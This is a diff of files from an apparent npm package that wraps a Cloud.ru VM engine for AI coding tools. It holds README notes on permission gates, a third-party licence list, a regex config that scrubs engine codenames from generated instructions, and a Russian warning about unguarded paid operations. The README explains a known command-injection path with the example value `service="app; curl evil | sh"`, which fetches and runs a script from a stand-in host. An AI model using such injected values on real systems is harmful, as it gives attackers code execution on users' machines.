`internal/deploy/ssh.go:117`), so `service="app; curl evil | sh"` is arbitrary RCE on the
|
|
92
|
+
user's VM. Flipping it back to allow puts that command-injection path behind a silent
|
|
93
|
+
allow and goes RED. (Engine injection flagged to the author — the classifier can only
|
|
94
|
+
prompt, it cannot escape the arg.)
|
|
95
|
+
6. **The dialect codename gate is armed** — emptying `forbiddenCodenames` (the positive
|
|
96
|
+
case-insensitive, word-boundary net under the 8-token denylist) goes RED; the denylist
|
|
97
|
+
alone let the bare codename survive 5× in the real-corpus compile (MEASURED). The gate
|
|
98
|
+
covers the full engine identity — `hermes`, `dzhechko` (go-module owner), `cloudru-vm-cli`,
|
|
99
|
+
`captainkeys` — with word-boundary matching so the published scope `@dzhechkov` is not
|
|
100
|
+
over-blocked.
|
|
101
|
+
7. **The engine binary-name leak forms are scrubbed, not codename-gated** (0.1.4) — the
|
|
102
|
+
bare token `cloudru-vm` is ALSO the legitimate MCP server name that must appear in
|
|
103
|
+
output (`\bcloudru-vm\b` over-blocks the compiler's own injected prose `сервера
|
|
104
|
+
cloudru-vm видны` — PROVEN), so instead the two unambiguous leak FORMS get targeted
|
|
105
|
+
replacements in every target: dotted path `.cloudru-vm` → `.cloudru-hub`, and CLI
|
|
106
|
+
invocation `cloudru-vm <verb>` → `cloudru-hub <verb>` for the engine's real cobra
|
|
107
|
+
command set only (`deploy|status|logs|destroy|verify|init|version|list-zones|
|
|
108
|
+
list-images|mcp|doctor`, cited from the baseline `cmd/cloudru-vm/main.go`). Disarming
|
|
109
|
+
either scrub goes RED (`dialect-binary-path-leak-scrubbed`,
|
|
110
|
+
`dialect-binary-invocation-leak-scrubbed`).
|
|
111
|
+
|
|
112
|
+
## Post-grant publish checklist (executed 2026-08-12)
|
|
113
|
+
|
|
114
|
+
1. ✅ Grant recorded (ADR-001 AM-2, exit 2): LICENSE Part 2 placeholder replaced with the
|
|
115
|
+
owner-attested grant record + `Grant-Confirmation:` link, `"license": "MIT"` (owner
|
|
116
|
+
code only), `private` removed, `licenseHold` trigger deliberately KEPT armed.
|
|
117
|
+
Open owner follow-up: archive the author's written confirmation in the grant record.
|
|
118
|
+
2. ✅ `dz guard check --op publish` passes (the licence-hold rule verifies all of it).
|
|
119
|
+
3. ⏳ NOT YET: the platform package `@dzhechkov/cloudru-vm-linux-x64` (the binary-carrying
|
|
120
|
+
channel) still requires the ADR-002 trusted-CI build (`-trimpath`, sha256 must equal
|
|
121
|
+
`cloudruHub.binaryHashes['linux-x64']`) + the go-licenses reconciliation in
|
|
122
|
+
THIRD_PARTY_NOTICES before ITS first publication. Until then the engine binary is
|
|
123
|
+
supplied via `$CLOUDRU_VM_BIN` or `~/.cloudru-hub/config.json` (see *Local testing*).
|
|
124
|
+
4. ✅ Published via the repo's standard release flow.
|
|
125
|
+
|
|
126
|
+
## Tests
|
|
127
|
+
|
|
128
|
+
`npm test` — 70 tests, 70 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-08-12;
|
|
129
|
+
node:test, zero deps). Suite includes the tarball-content gate,
|
|
130
|
+
the post-grant licence gates, the brake acid tests, installer tiering, and dialect
|
|
131
|
+
compilation.
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
# THIRD PARTY NOTICES — @dzhechkov/cloudru-hub
|
|
2
|
+
|
|
3
|
+
This npm package itself contains no third-party code (its launcher, adapters, installer
|
|
4
|
+
and tests are original work — see LICENSE Part 1, MIT).
|
|
5
|
+
|
|
6
|
+
This file exists because of ADR-001 point 4: the `cloudru-vm` engine binary that the
|
|
7
|
+
launcher RESOLVES AT RUNTIME (and that a future `@dzhechkov/cloudru-vm-linux-x64`
|
|
8
|
+
platform package would carry, post-grant) is a statically linked Go executable that
|
|
9
|
+
embeds the following third-party modules (source of record: `engine/go.mod` in the
|
|
10
|
+
pinned baseline `hermes-engine-src-20260718.tgz`, sha256
|
|
11
|
+
`007e7cbe851d3ecd78f457f81ae3679904b2fd4dac660a0e349dabcde61bbe5c` — see
|
|
12
|
+
`features/hermes-claude-adaptation/evidence/ENGINE-BASELINE.json`).
|
|
13
|
+
|
|
14
|
+
## Direct dependencies (engine/go.mod, require block 1)
|
|
15
|
+
|
|
16
|
+
| Module | Version | License |
|
|
17
|
+
|---|---|---|
|
|
18
|
+
| github.com/minio/minio-go/v7 | v7.2.1 | Apache-2.0 |
|
|
19
|
+
| github.com/spf13/cobra | v1.10.2 | Apache-2.0 |
|
|
20
|
+
| golang.org/x/crypto | v0.51.0 | BSD-3-Clause |
|
|
21
|
+
| golang.org/x/term | v0.43.0 | BSD-3-Clause |
|
|
22
|
+
| gopkg.in/yaml.v3 | v3.0.1 | Apache-2.0 (parser core: MIT — see its LICENSE) |
|
|
23
|
+
|
|
24
|
+
## Indirect dependencies (engine/go.mod, require block 2)
|
|
25
|
+
|
|
26
|
+
github.com/cespare/xxhash/v2 (MIT), github.com/dustin/go-humanize (MIT),
|
|
27
|
+
github.com/google/uuid (BSD-3-Clause), github.com/inconshreveable/mousetrap (Apache-2.0),
|
|
28
|
+
github.com/klauspost/compress (Apache-2.0 / BSD-3-Clause / MIT — mixed, see its LICENSE),
|
|
29
|
+
github.com/klauspost/cpuid/v2 (MIT), github.com/klauspost/crc32 (Apache-2.0),
|
|
30
|
+
github.com/minio/crc64nvme (Apache-2.0), github.com/minio/md5-simd (Apache-2.0),
|
|
31
|
+
github.com/philhofer/fwd (MIT), github.com/rs/xid (MIT), github.com/spf13/pflag
|
|
32
|
+
(BSD-3-Clause), github.com/tinylib/msgp (MIT), github.com/zeebo/xxh3 (BSD-2-Clause),
|
|
33
|
+
go.yaml.in/yaml/v3 (Apache-2.0/MIT), golang.org/x/net (BSD-3-Clause), golang.org/x/sys
|
|
34
|
+
(BSD-3-Clause), golang.org/x/text (BSD-3-Clause), gopkg.in/ini.v1 (Apache-2.0).
|
|
35
|
+
|
|
36
|
+
## Apache-2.0 NOTICE preservation
|
|
37
|
+
|
|
38
|
+
Apache License 2.0 §4(d) requires redistribution to preserve NOTICE file contents of the
|
|
39
|
+
covered works. Of the modules above, MinIO ships a NOTICE file; its contents are
|
|
40
|
+
preserved here:
|
|
41
|
+
|
|
42
|
+
> MinIO Project, (C) 2015-2023 MinIO, Inc.
|
|
43
|
+
>
|
|
44
|
+
> This product includes software developed at MinIO, Inc.
|
|
45
|
+
> (https://min.io/).
|
|
46
|
+
|
|
47
|
+
The Go standard library linked into the binary is BSD-3-Clause, Copyright (c) 2009
|
|
48
|
+
The Go Authors.
|
|
49
|
+
|
|
50
|
+
## Verification TODO (pre-publication of any binary-carrying channel)
|
|
51
|
+
|
|
52
|
+
Before the FIRST publication of a channel that actually carries the binary (the platform
|
|
53
|
+
package or GitHub Releases), regenerate the authoritative per-module license inventory in
|
|
54
|
+
trusted CI with `go-licenses report ./...` (or `cyclonedx-gomod`) against the exact
|
|
55
|
+
commit being built, and reconcile it with this file. This hand-written table is faithful
|
|
56
|
+
to `go.mod` of the pinned baseline but is not a substitute for the generated report.
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
{
|
|
2
|
+
"$comment": "ADR-006 dialect table — ONE config, variants are GENERATED, hand forks are forbidden. `replacements` are applied in order to every .md of the canonical tree; afterwards the compiler REQUIRES that no forbiddenHermesTokens survive (a variant that still speaks Hermes dialect actively lies on the target and is never emitted) AND that no forbiddenCodenames occurrence survives (case-insensitive, WORD-BOUNDARY) in ANY emitted file (positive invariant, 2026-08-10 — the enumerated denylist alone let the bare codename through 5x, MEASURED). forbiddenCodenames covers the FULL engine identity (AM-2 2026-08-10): `hermes` + the go-module owner `dzhechko` + the CLI name `cloudru-vm-cli` (github.com/dzhechko/cloudru-vm-cli) + `captainkeys` (captainkeys.go). Matching is WORD-BOUNDARY, not substring: a raw `dzhechko` substring over-blocks the legitimately-published scope `@dzhechkov` (= dzhechko + v); \\b…\\b matches the standalone engine handle but not `@dzhechkov`, and also drops false positives like `thermes` while still catching `~/.hermes`, `hermes-agent` and Cyrillic-suffixed `hermesовский` (\\b treats `.`/`-`/`/`/Cyrillic as non-word). Over-block on the maintainer's controlled corpus is acceptable (loud, build-time, never ships); the residual all-Latin-embedded gap (`hermesbot`) is unobserved. Each identity token has a scrub replacement below where it legitimately appears (go-module path → published package name). The bare engine binary name `cloudru-vm` is DELIBERATELY NOT in forbiddenCodenames (0.1.3): it is ALSO the legitimate MCP server name that MUST appear in output — PROVEN: \\bcloudru-vm\\b matches the compiler's own injected tool_search prose `сервера cloudru-vm видны`, and `mcp__cloudru-vm__` is spared only because `_` is a word char. Instead the two UNAMBIGUOUS leak FORMS get targeted scrubs (ordered AFTER the longer `cloudru-vm-cli` scrub so it is never mis-split): (1) config-dir/dotted path `\\.cloudru-vm(?![\\w-])` → `.cloudru-hub` (lookahead spares `.cloudru-vm-cli`; no dot precedes the mcp__ id); (2) CLI invocation `cloudru-vm <verb>` → `cloudru-hub <verb>` for the engine's FINITE real verb set only (deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor — cited from engine cmd/cloudru-vm/main.go AddCommand block, lines 53-65), `[ \\t]+` not `\\s+` so a line break is never joined, `(?:…)\\b` so `cloudru-vm deployment` and the Russian prose `cloudru-vm видны` are untouched. The mcp__ prefix double-spelling is settled by the live probe (feature README blocker 3).",
|
|
3
|
+
"forbiddenCodenames": ["hermes", "dzhechko", "cloudru-vm-cli", "captainkeys"],
|
|
4
|
+
"forbiddenHermesTokens": [
|
|
5
|
+
"tool_search",
|
|
6
|
+
"tool_describe",
|
|
7
|
+
"tool_call",
|
|
8
|
+
"hermes cron",
|
|
9
|
+
"/opt/data",
|
|
10
|
+
"SOUL",
|
|
11
|
+
"--deliver telegram",
|
|
12
|
+
"капитан"
|
|
13
|
+
],
|
|
14
|
+
"routerMaxChars": 12000,
|
|
15
|
+
"pointerMaxChars": 2048,
|
|
16
|
+
"targets": {
|
|
17
|
+
"claude-code": {
|
|
18
|
+
"layout": "lossless",
|
|
19
|
+
"replacements": [
|
|
20
|
+
{ "find": "mcp__cloudru_vm__", "flags": "g", "replace": "mcp__cloudru-vm__" },
|
|
21
|
+
{ "find": "^.*tool_search.*$\\n?", "flags": "gm", "replace": "Инструменты сервера cloudru-vm видны в сессии как mcp__cloudru-vm__<имя>; Claude Code сам подгружает отложенные тулы через собственный ToolSearch — отдельный шаг поиска не нужен.\n" },
|
|
22
|
+
{ "find": "^.*tool_(?:describe|call).*$\\n?", "flags": "gm", "replace": "" },
|
|
23
|
+
{ "find": "hermes cron create\\s+'[^']*'", "flags": "g", "replace": "фоновый Bash (run_in_background) или /schedule" },
|
|
24
|
+
{ "find": "^.*hermes cron.*$\\n?", "flags": "gm", "replace": "Для периодического поллинга используй фоновый Bash (run_in_background) или /schedule.\n" },
|
|
25
|
+
{ "find": "\\s*--deliver telegram", "flags": "g", "replace": "" },
|
|
26
|
+
{ "find": "^.*SOUL.*$\\n?", "flags": "gm", "replace": "" },
|
|
27
|
+
{ "find": "/opt/data/cloudru", "flags": "g", "replace": "~/.cloudru-hub" },
|
|
28
|
+
{ "find": "/opt/data", "flags": "g", "replace": "~/.cloudru-hub" },
|
|
29
|
+
{ "find": "hermes-agent", "flags": "g", "replace": "agent-vm" },
|
|
30
|
+
{ "find": "\\.hermes\\b", "flags": "g", "replace": ".cloudru-hub" },
|
|
31
|
+
{ "find": "уроки Hermes ", "flags": "g", "replace": "уроки боевой эксплуатации " },
|
|
32
|
+
{ "find": "так при Hermes возникли", "flags": "g", "replace": "так однажды возникли" },
|
|
33
|
+
{ "find": "капитана", "flags": "g", "replace": "пользователя" },
|
|
34
|
+
{ "find": "капитану", "flags": "g", "replace": "пользователю" },
|
|
35
|
+
{ "find": "капитан", "flags": "g", "replace": "пользователь" },
|
|
36
|
+
{ "find": "Капитан", "flags": "g", "replace": "Пользователь" },
|
|
37
|
+
{ "find": "github\\.com/dzhechko/cloudru-vm-cli", "flags": "gi", "replace": "@dzhechkov/cloudru-hub" },
|
|
38
|
+
{ "find": "cloudru-vm-cli", "flags": "gi", "replace": "cloudru-hub" },
|
|
39
|
+
{ "find": "\\.cloudru-vm(?![\\w-])", "flags": "g", "replace": ".cloudru-hub" },
|
|
40
|
+
{ "find": "\\bcloudru-vm[ \\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\b)", "flags": "g", "replace": "cloudru-hub " },
|
|
41
|
+
{ "find": "\\bdzhechko\\b", "flags": "gi", "replace": "dzhechkov" },
|
|
42
|
+
{ "find": "captainkeys", "flags": "gi", "replace": "user-keys" }
|
|
43
|
+
]
|
|
44
|
+
},
|
|
45
|
+
"codex": {
|
|
46
|
+
"layout": "lossless",
|
|
47
|
+
"replacements": [
|
|
48
|
+
{ "find": "^.*tool_search.*$\\n?", "flags": "gm", "replace": "MCP-тулы cloudru-vm codex деферит за собственным tool-search рантайма — отдельный шаг поиска не нужен; зови тулы по имени.\n" },
|
|
49
|
+
{ "find": "^.*tool_(?:describe|call).*$\\n?", "flags": "gm", "replace": "" },
|
|
50
|
+
{ "find": "hermes cron create\\s+'[^']*'", "flags": "g", "replace": "периодический повтор команды средствами вашей сессии" },
|
|
51
|
+
{ "find": "^.*hermes cron.*$\\n?", "flags": "gm", "replace": "" },
|
|
52
|
+
{ "find": "\\s*--deliver telegram", "flags": "g", "replace": "" },
|
|
53
|
+
{ "find": "^.*SOUL.*$\\n?", "flags": "gm", "replace": "" },
|
|
54
|
+
{ "find": "/opt/data/cloudru", "flags": "g", "replace": "~/.cloudru-hub" },
|
|
55
|
+
{ "find": "/opt/data", "flags": "g", "replace": "~/.cloudru-hub" },
|
|
56
|
+
{ "find": "hermes-agent", "flags": "g", "replace": "agent-vm" },
|
|
57
|
+
{ "find": "\\.hermes\\b", "flags": "g", "replace": ".cloudru-hub" },
|
|
58
|
+
{ "find": "уроки Hermes ", "flags": "g", "replace": "уроки боевой эксплуатации " },
|
|
59
|
+
{ "find": "так при Hermes возникли", "flags": "g", "replace": "так однажды возникли" },
|
|
60
|
+
{ "find": "капитана", "flags": "g", "replace": "пользователя" },
|
|
61
|
+
{ "find": "капитану", "flags": "g", "replace": "пользователю" },
|
|
62
|
+
{ "find": "капитан", "flags": "g", "replace": "пользователь" },
|
|
63
|
+
{ "find": "Капитан", "flags": "g", "replace": "Пользователь" },
|
|
64
|
+
{ "find": "github\\.com/dzhechko/cloudru-vm-cli", "flags": "gi", "replace": "@dzhechkov/cloudru-hub" },
|
|
65
|
+
{ "find": "cloudru-vm-cli", "flags": "gi", "replace": "cloudru-hub" },
|
|
66
|
+
{ "find": "\\.cloudru-vm(?![\\w-])", "flags": "g", "replace": ".cloudru-hub" },
|
|
67
|
+
{ "find": "\\bcloudru-vm[ \\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\b)", "flags": "g", "replace": "cloudru-hub " },
|
|
68
|
+
{ "find": "\\bdzhechko\\b", "flags": "gi", "replace": "dzhechkov" },
|
|
69
|
+
{ "find": "captainkeys", "flags": "gi", "replace": "user-keys" }
|
|
70
|
+
]
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
# Cloud.ru Evolution — указатель (pointer-only таргет)
|
|
2
|
+
|
|
3
|
+
Этот инструмент НЕ несёт на данном таргете ни MCP-тулов Cloud.ru, ни исполняемых
|
|
4
|
+
инструкций деплоя. Полная связка (MCP-сервер `cloudru-vm` на 144 тула + скилл +
|
|
5
|
+
детерминированный тормоз платных шагов) доставляется только на таргеты, где её можно
|
|
6
|
+
поставить честно: Claude Code (полный путь) и codex (после живого veto-probe).
|
|
7
|
+
|
|
8
|
+
Что можно сделать на этом таргете вручную:
|
|
9
|
+
|
|
10
|
+
1. Зарегистрируйте stdio-MCP-сервер `cloudru-vm` в конфиге ВАШЕГО инструмента сами
|
|
11
|
+
(команда запуска: `cloudru-hub mcp`; креды — env `CLOUDRU_KEY_ID`/`CLOUDRU_SECRET`).
|
|
12
|
+
2. Прочитайте документацию пакета: `npx @dzhechkov/cloudru-hub --help`.
|
|
13
|
+
|
|
14
|
+
⚠ ПРЕДУПРЕЖДЕНИЕ: на этом таргете НЕТ детерминированного вето платных операций
|
|
15
|
+
(permission-ask / PreToolUse-хука). Любой вызов мутирующего тула (deploy, provision,
|
|
16
|
+
*_create, *_delete, vm_exec, s3_put, …) создаёт или уничтожает ПЛАТНЫЕ ресурсы без
|
|
17
|
+
машинного тормоза — подтверждение остаётся только на вашей дисциплине. Не подключайте
|
|
18
|
+
мутирующий флоу здесь; используйте Claude Code или codex, где тормоз ставится кодом
|
|
19
|
+
(ADR-004/ADR-005 feature hermes-claude-adaptation).
|
|
20
|
+
|
|
21
|
+
Gemini-оговорка: проверьте доступность Gemini API для ВАШЕГО аккаунта — Россия
|
|
22
|
+
отсутствует в списке доступности (ai.google.dev/available-regions, fetch 2026-08-04).
|